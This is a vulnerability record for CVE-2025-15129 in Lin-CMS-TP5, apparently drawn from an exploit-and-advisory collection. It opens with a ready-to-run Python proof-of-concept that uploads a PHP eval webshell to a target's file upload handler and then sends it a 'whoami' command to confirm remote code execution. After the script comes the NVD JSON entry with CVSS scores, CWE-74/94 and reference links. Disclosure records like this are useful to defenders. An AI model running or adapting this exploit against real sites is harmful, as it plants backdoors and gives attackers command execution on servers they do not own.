CVE-2025-15129

#!/usr/bin/env python3 """ CVE-2025-15129 PoC - Lin-CMS-TP5 File Upload Code Injection Reference: https://github.com/ChenJinchuang/lin-cms-tp5/issues/65 """ import requests import sys def exploit(target_url, webshell_content=None): """ Exploit the file upload vulnerability in Lin-CMS-TP5 """ if webshell_content is None: webshell_content = "<?php @eval($_POST['cmd']);?>" upload_url = f"{target_url.rstrip('/')}/application/lib/file/LocalUploader.php" # Prepare malicious file upload files = { 'file': ('exploit.php', webshell_content, 'application/x-php') } data = { 'File': 'exploit.php' } try: print(f"[*] Target: {target_url}") print(f"[*] Uploading malicious file to {upload_url}") # Send malicious file upload request response = requests.post(upload_url, files=files, data=data, timeout=10) if response.status_code == 200: print("[+] File upload request sent successfully") print(f"[+] Response: {response.text}") # Try to access the uploaded webshell webshell_url = f"{target_url.rstrip('/')}/uploads/exploit.php" print(f"[*] Attempting to access webshell at: {webshell_url}") # Test webshell execution test_response = requests.post(webshell_url, data={'cmd': 'whoami'}, timeout=10) if test_response.status_code == 200: print(f"[+] Webshell executed! Output: {test_response.text}") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_url>") print(f"Example: python3 {sys.argv[0]} http://target.com/lin-cms-tp5") sys.exit(1) target = sys.argv[1] exploit(target)

{"cve": {"id": "CVE-2025-15129", "sourceIdentifier": "[email protected]", "published": "2025-12-28T09:15:41.707", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in ChenJinchuang Lin-CMS-TP5 up to 0.3.3. This vulnerability affects the function Upload of the file application/lib/file/LocalUploader.php of the component File Upload Handler. Executing manipulation of the argument File can lead to code injection. The attack can be executed remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/ChenJinchuang/lin-cms-tp5/issues/65", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.338507", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.338507", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.712754", "source": "[email protected]"}]}}